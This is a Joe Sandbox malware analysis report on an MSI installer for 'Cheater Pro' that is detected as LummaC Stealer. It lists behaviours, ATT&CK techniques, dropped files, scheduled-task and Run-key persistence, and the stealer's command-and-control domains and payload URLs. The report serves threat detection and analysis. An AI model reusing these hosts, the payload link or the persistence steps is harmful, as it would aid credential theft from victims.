Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Code function: 13_2_00007FF718A4E098 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_00007FF718A4E098

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 21_2_00401370 GetUserNameW,GetComputerNameW,

21_2_00401370

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Code function: 13_2_00007FF718A82D80 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

13_2_00007FF718A82D80

Source: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 21.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.4282508440.00000000057F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4282508440.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4282244783.0000000003D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: connect.exe PID: 1584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 6480, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: 21.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.4282508440.00000000057F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4282508440.0000000004D75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.4282244783.0000000003D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: connect.exe PID: 1584, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 6480, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
1 Replication Through Removable Media	1 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	21 Encrypted Channel	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	311 Process Injection	1 DLL Side-Loading	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	114 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 File Deletion	LSA Secrets	134 System Information Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	22 Masquerading	Cached Domain Credentials	121 Security Software Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	121 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	121 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	0%	ReversingLabs
SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi	0%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	0%	ReversingLabs
C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe	4%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI1005.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI1005.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI1083.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI1083.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI10B3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI10B3.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI10D3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI10D3.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI10F3.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI10F3.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI1123.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI1123.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI11D0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI11D0.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI1200.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI1200.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI123F.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI123F.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI1379.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI1379.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI43E0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI43E0.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\MSI4420.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4420.tmp	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dayfarrichjwclik.fun	19%	Virustotal		Browse
slabbymenusportef.pw	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://crl.microsoft	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
slabbymenusportef.pw	100%	Avira URL Cloud	malware
dayfarrichjwclik.fun	19%	Virustotal		Browse
http://dayfarrichjwclik.fun/	19%	Virustotal		Browse
slabbymenusportef.pw	9%	Virustotal		Browse
cakecoldsplurgrewe.pw	1%	Virustotal		Browse
cakecoldsplurgrewe.pw	100%	Avira URL Cloud	malware
http://dayfarrichjwclik.fun/	100%	Avira URL Cloud	malware
politefrightenpowoa.pwp	0%	Avira URL Cloud	safe
dayfarrichjwclik.fun	100%	Avira URL Cloud	malware
opposesicknessopw.pw	100%	Avira URL Cloud	malware
http://crl.mi	0%	Avira URL Cloud	safe
neighborhoodfeelsa.funp	0%	Avira URL Cloud	safe
http://dayfarrichjwclik.fun/pi	100%	Avira URL Cloud	malware
https://luajit.org/	0%	Avira URL Cloud	safe
http://slabbymenusportef.pw/w2	100%	Avira URL Cloud	malware
reviveincapablewew.pw	0%	Avira URL Cloud	safe
http://dayfarrichjwclik.fun:80/apiP	100%	Avira URL Cloud	malware
ratefacilityframw.fun	0%	Avira URL Cloud	safe
https://luajit.org/	0%	Virustotal		Browse
opposesicknessopw.pw	11%	Virustotal		Browse
http://dayfarrichjwclik.fun/pi	16%	Virustotal		Browse
http://dayfarrichjwclik.fun/api	100%	Avira URL Cloud	malware
http://slabbymenusportef.pw/api	100%	Avira URL Cloud	malware
http://dayfarrichjwclik.fun/api	15%	Virustotal		Browse
ratefacilityframw.fun	16%	Virustotal		Browse
reviveincapablewew.pw	2%	Virustotal		Browse
http://slabbymenusportef.pw/api	19%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
files.catbox.moe	108.181.20.35	true	false		high
dayfarrichjwclik.fun	104.21.80.57	true	true	19%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false		high
slabbymenusportef.pw	unknown	unknown	true	9%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
slabbymenusportef.pw	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://ip-api.com/json/?fields=query,status,countryCode,city,timezone	false		high
cakecoldsplurgrewe.pw	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
politefrightenpowoa.pwp	true	Avira URL Cloud: safe	unknown
dayfarrichjwclik.fun	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
opposesicknessopw.pw	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
neighborhoodfeelsa.funp	true	Avira URL Cloud: safe	unknown
reviveincapablewew.pw	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://files.catbox.moe/nzct1p	false		high
ratefacilityframw.fun	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://dayfarrichjwclik.fun/api	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://files.catbox.moe/nzct1p	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://dayfarrichjwclik.fun/	vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2190139723.0000000005E96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000005.00000002.2182111369.0000000002F58000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.2183022704.0000000005657000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mi	powershell.exe, 00000007.00000002.2177284042.0000000006FAE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dayfarrichjwclik.fun/pi	vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://luajit.org/	LuaJIT.exe.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000007.00000002.2178978891.0000000007EF2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.thawte.com/cps0/	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	false		high
http://slabbymenusportef.pw/w2	vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.2183022704.0000000004E31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2172975024.0000000004771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.thawte.com/repository0W	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	false		high
http://dayfarrichjwclik.fun:80/apiP	vbc.exe, 00000015.00000002.4544217555.000000000555D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.2172975024.00000000048C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2190139723.0000000005E96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175550925.00000000057D6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.advancedinstaller.com	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi, MSI4420.tmp.0.dr, 6b20ed.msi.2.dr, MSI10B3.tmp.0.dr, MSI11D0.tmp.0.dr, 6b20ee.rbs.2.dr, MSI1379.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2183022704.0000000004E31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2172975024.0000000004771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://slabbymenusportef.pw/api	vbc.exe, 00000015.00000002.4544217555.0000000005528000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
108.181.20.35	files.catbox.moe	Canada	852	ASN852CA	false
213.248.43.40	unknown	Russian Federation	12695	DINET-ASRU	false
104.21.80.57	dayfarrichjwclik.fun	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1364305
Start date and time:	2023-12-19 05:17:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.HEUR.Trojan.OLE2.Agent.gen.26943.12401.msi
Detection:	MAL
Classification:	mal93.troj.evad.winMSI@25/56@4/4
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Successful, ratio: 92% Number of executed functions: 143 Number of non-executed functions: 124
Cookbook Comments:	Found application associated with file extension: .msi Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.196.177.129
Excluded domains from analysis (whitelisted): client.wns.windows.com, www.microsoft.com-c-3.edgekey.net, ocsp.digicert.com, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, ctldl.windowsupdate.com, www.microsoft.com, fe3cr.delivery.mp.microsoft.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net
Execution Graph export aborted for target LuaJIT.exe, PID 3520 because there are no executed function
Execution Graph export aborted for target LuaJIT.exe, PID 5424 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 1020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4364 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:18:04	API Interceptor	36x Sleep call for process: powershell.exe modified
05:18:09	Task Scheduler	Run new task: CheckTaskUpdate path: C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe s>"C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file"
05:18:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LuaJIT "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file"
05:18:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LuaJIT "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\LuaJIT.exe" "C:\Program Files (x86)\Cheater Pro Inc\Cheater Pro\file"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Mix_Skirts_#_pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	passport.vbs	Get hash	malicious	Agniane Stealer	Browse	ip-api.com/json/?fields=11827
	Bank_Copy.pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	AWB_#150322.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Mokejimas,jpeg.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	payment_confirmation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	PO199198#.PDF_______.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	signed_Nomencla1.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	WNx4O0vLmx.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	470000_TL_Bankasi_pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	lkadgje.exe	Get hash	malicious	RedLine, Xmrig	Browse	ip-api.com/json
	2AaPmHygYk.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	x8Rh3L1DiO.exe	Get hash	malicious	Blank Grabber, Xmrig	Browse	ip-api.com/json/?fields=225545
	rAWB150322.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	glRH4tfdC3.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	PO199198..xla.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	swift2023-12-13-266939.jpg.img	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win32.PWSX-gen.31071.19363.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Banco_SWIFT.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	di7RDeMEHn.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
files.catbox.moe	Dunning-Notice-1016.com.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	Dunning-Notice-1016.com.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	hesaphareketi-01.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	hesaphareketi-01.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	CONTG._0992-19.doc	Get hash	malicious	Remcos, DBatLoader	Browse	108.181.20.35
	Para_Transferi_Bilgilendirmesi-dekont.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	Para_Transferi_Bilgilendirmesi-dekont.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	D26517874737.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	P_857_CURDEC.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	P_857_CURDEC.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	D26517874737.exe	Get hash	malicious	Unknown	Browse	108.181.20.35
	RG678-N98.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	RG678-N98.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	https://files.catbox.moe/dhi3q3.z	Get hash	malicious	Unknown	Browse	108.181.20.37
	Vztnz.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Vztnz.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Aviso_de_disponibilidad_de_Factura_Electr#U00f3nica_Iberdrola.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Aviso_de_disponibilidad_de_Factura_Electr#U00f3nica_Iberdrola.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	justificante_de_la_operaci#U00f3n.pdf.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
	Aviso_de_disponibilidad_de_Factura_Electr#U00f3nica_Iberdrola.exe	Get hash	malicious	Unknown	Browse	108.181.20.37
